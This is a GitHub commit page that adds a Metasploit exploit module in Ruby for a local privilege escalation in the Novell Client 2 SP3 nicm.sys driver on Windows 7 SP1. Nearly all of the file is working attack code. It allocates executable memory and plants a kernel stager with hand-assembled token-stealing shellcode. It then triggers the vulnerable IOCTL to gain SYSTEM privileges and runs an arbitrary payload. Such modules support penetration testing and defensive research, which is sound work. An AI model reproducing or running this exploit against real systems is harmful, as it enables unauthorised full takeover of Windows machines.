-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
jvazquez-r7
committed
Jun 25, 2013
1 parent
72847ee
commit 795dd6a
Showing
1 changed file
with
348 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,348 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'rex' | ||
require 'msf/core/post/common' | ||
require 'msf/core/post/windows/priv' | ||
|
||
class Metasploit3 < Msf::Exploit::Local | ||
Rank = AverageRanking | ||
|
||
include Msf::Post::Common | ||
include Msf::Post::Windows::Priv | ||
|
||
def initialize(info={}) | ||
super(update_info(info, { | ||
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation', | ||
'Description' => %q{ | ||
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in | ||
kernel space. The vulnerability occurs while handling ioctl requests with code | ||
0x143B6B, where a user provided pointer is used as function pointer. The module | ||
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Unknown', # Vulnerability discovery | ||
'juan vazquez' # MSF module | ||
], | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'win', | ||
'SessionTypes' => [ 'meterpreter' ], | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'thread', | ||
}, | ||
'Targets' => | ||
[ | ||
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows | ||
# as installed with Novell Client 2 SP3 for Windows 7 | ||
[ 'Automatic', { } ], | ||
[ 'Windows 7 SP1', | ||
{ | ||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates | ||
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct | ||
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct | ||
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct | ||
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct | ||
} | ||
] | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 4096, | ||
'DisableNops' => true | ||
}, | ||
'References' => | ||
[ | ||
[ 'OSVDB', '93718' ], | ||
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], | ||
[ 'URL', 'http://pastebin.com/GB4iiEwR' ] | ||
], | ||
'DisclosureDate' => 'May 22 2013', | ||
'DefaultTarget' => 0 | ||
})) | ||
|
||
end | ||
|
||
def add_railgun_functions | ||
session.railgun.add_function( | ||
'ntdll', | ||
'NtAllocateVirtualMemory', | ||
'DWORD', | ||
[ | ||
["DWORD", "ProcessHandle", "in"], | ||
["PBLOB", "BaseAddress", "inout"], | ||
["PDWORD", "ZeroBits", "in"], | ||
["PBLOB", "RegionSize", "inout"], | ||
["DWORD", "AllocationType", "in"], | ||
["DWORD", "Protect", "in"] | ||
]) | ||
|
||
session.railgun.add_function( | ||
'ntdll', | ||
'NtDeviceIoControlFile', | ||
'DWORD', | ||
[ | ||
[ "DWORD", "FileHandle", "in" ], | ||
[ "DWORD", "Event", "in" ], | ||
[ "DWORD", "ApcRoutine", "in" ], | ||
[ "DWORD", "ApcContext", "in" ], | ||
[ "PDWORD", "IoStatusBlock", "out" ], | ||
[ "DWORD", "IoControlCode", "in" ], | ||
[ "LPVOID", "InputBuffer", "in" ], | ||
[ "DWORD", "InputBufferLength", "in" ], | ||
[ "LPVOID", "OutputBuffer", "in" ], | ||
[ "DWORD", "OutPutBufferLength", "in" ] | ||
]) | ||
|
||
session.railgun.add_function( | ||
'ntdll', | ||
'NtQueryIntervalProfile', | ||
'DWORD', | ||
[ | ||
[ "DWORD", "ProfileSource", "in" ], | ||
[ "PDWORD", "Interval", "out" ] | ||
]) | ||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') | ||
session.railgun.add_function( | ||
'psapi', | ||
'EnumDeviceDrivers', | ||
'BOOL', | ||
[ | ||
["PBLOB", "lpImageBase", "out"], | ||
["DWORD", "cb", "in"], | ||
["PDWORD", "lpcbNeeded", "out"] | ||
]) | ||
session.railgun.add_function( | ||
'psapi', | ||
'GetDeviceDriverBaseNameA', | ||
'DWORD', | ||
[ | ||
["LPVOID", "ImageBase", "in"], | ||
["PBLOB", "lpBaseName", "out"], | ||
["DWORD", "nSize", "in"] | ||
]) | ||
end | ||
|
||
def open_device(dev) | ||
|
||
invalid_handle_value = 0xFFFFFFFF | ||
|
||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) | ||
|
||
handle = r['return'] | ||
|
||
if handle == invalid_handle_value | ||
return nil | ||
end | ||
|
||
return handle | ||
end | ||
|
||
def execute_shellcode(shell_addr) | ||
|
||
vprint_status("Creating the thread to execute the shellcode...") | ||
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil) | ||
if ret['return'] < 1 | ||
vprint_error("Unable to CreateThread") | ||
return nil | ||
end | ||
hthread = ret['return'] | ||
|
||
vprint_status("Resuming the Thread...") | ||
ret = client.railgun.kernel32.ResumeThread(hthread) | ||
if ret['return'] < 1 | ||
vprint_error("Unable to ResumeThread") | ||
return nil | ||
end | ||
|
||
return true | ||
end | ||
|
||
def ring0_shellcode(t) | ||
tokenstealing = "\x52" # push edx # Save edx on the stack | ||
tokenstealing << "\x53" # push ebx # Save ebx on the stack | ||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 | ||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD | ||
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS | ||
tokenstealing << "\x8b\xc8" # mov ecx, eax | ||
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN | ||
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks | ||
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks | ||
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) | ||
tokenstealing << "\x75\xe8" # jne 0000101e ====================== | ||
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX | ||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX | ||
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS | ||
tokenstealing << "\x5b" # pop ebx # Restores ebx | ||
tokenstealing << "\x5a" # pop edx # Restores edx | ||
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel! | ||
|
||
return tokenstealing | ||
end | ||
|
||
|
||
def allocate_memory(proc, address, length) | ||
|
||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") | ||
|
||
if not result["BaseAddress"] or result["BaseAddress"].empty? | ||
vprint_error("Failed to allocate memory") | ||
return nil | ||
end | ||
|
||
my_address = result["BaseAddress"].unpack("V")[0] | ||
|
||
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") | ||
|
||
if not proc.memory.writable?(my_address) | ||
vprint_error("Failed to allocate memory") | ||
return nil | ||
else | ||
vprint_good("0x#{my_address.to_s(16)} is now writable") | ||
end | ||
|
||
return my_address | ||
end | ||
|
||
def junk(n=4) | ||
return rand_text_alpha(n).unpack("V").first | ||
end | ||
|
||
def check | ||
handle = open_device("\\\\.\\nicm") | ||
if handle.nil? | ||
return Exploit::CheckCode::Safe | ||
end | ||
session.railgun.kernel32.CloseHandle(handle) | ||
return Exploit::CheckCode::Detected | ||
end | ||
|
||
def exploit | ||
|
||
vprint_status("Adding the railgun stuff...") | ||
add_railgun_functions | ||
|
||
if sysinfo["Architecture"] =~ /wow64/i | ||
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") | ||
elsif sysinfo["Architecture"] =~ /x64/ | ||
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") | ||
end | ||
|
||
my_target = nil | ||
if target.name =~ /Automatic/ | ||
print_status("Detecting the target system...") | ||
os = sysinfo["OS"] | ||
if os =~ /windows 7/i | ||
my_target = targets[1] | ||
print_status("Running against #{my_target.name}") | ||
end | ||
else | ||
my_target = target | ||
end | ||
|
||
if my_target.nil? | ||
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") | ||
end | ||
|
||
print_status("Checking device...") | ||
handle = open_device("\\\\.\\nicm") | ||
if handle.nil? | ||
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found") | ||
else | ||
print_good("\\\\.\\nicm found!") | ||
end | ||
|
||
this_proc = session.sys.process.open | ||
|
||
print_status("Storing the Kernel stager on memory...") | ||
stager_address = 0x0d0d0000 | ||
stager_address = allocate_memory(this_proc, stager_address, 0x1000) | ||
|
||
if stager_address.nil? or stager_address == 0 | ||
session.railgun.kernel32.CloseHandle(handle) | ||
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") | ||
end | ||
|
||
# eax => &kernel_stager | ||
# .text:000121A3 mov ecx, eax | ||
# .text:000121A5 mov eax, [ecx] | ||
# .text:000121A7 mov edx, [eax] | ||
# .text:000121A9 push ecx | ||
# .text:000121AA push eax | ||
# .text:000121AB call dword ptr [edx+0Ch] | ||
kernel_stager = [ | ||
stager_address + 0x14, # stager_address | ||
junk, | ||
junk, | ||
junk, | ||
junk, | ||
stager_address + 0x18, # stager_address + 0x14 | ||
junk, | ||
junk, | ||
junk, | ||
stager_address + 0x28 # stager_address + 0x24 | ||
].pack("V*") | ||
|
||
kernel_stager << ring0_shellcode(my_target) | ||
|
||
result = this_proc.memory.write(stager_address, kernel_stager) | ||
|
||
if result.nil? | ||
session.railgun.kernel32.CloseHandle(handle) | ||
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") | ||
else | ||
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") | ||
end | ||
|
||
|
||
print_status("Triggering the vulnerability to execute the Kernel Handler") | ||
magic_ioctl = 0x143B6B # Vulnerable IOCTL | ||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) | ||
session.railgun.kernel32.CloseHandle(handle) | ||
|
||
if ioctl["GetLastError"] != 0 | ||
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") | ||
end | ||
|
||
print_status("Checking privileges after exploitation...") | ||
|
||
if not is_system? | ||
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") | ||
else | ||
print_good("Exploitation successful!") | ||
end | ||
|
||
print_status("Storing the final payload on memory...") | ||
|
||
shell_address = 0x0c0c0000 | ||
shell_address = allocate_memory(this_proc, shell_address, 0x1000) | ||
|
||
if shell_address.nil? | ||
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") | ||
end | ||
|
||
result = this_proc.memory.write(shell_address, payload.encoded) | ||
|
||
if result.nil? | ||
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") | ||
else | ||
print_good("Contents successfully written to 0x#{shell_address.to_s(16)}") | ||
end | ||
|
||
print_status("Executing the payload...") | ||
result = execute_shellcode(shell_address) | ||
if result.nil? | ||
fail_with(Exploit::Failure::Unknown, "Error while executing the payload") | ||
else | ||
print_good("Enjoy!") | ||
end | ||
end | ||
|
||
end |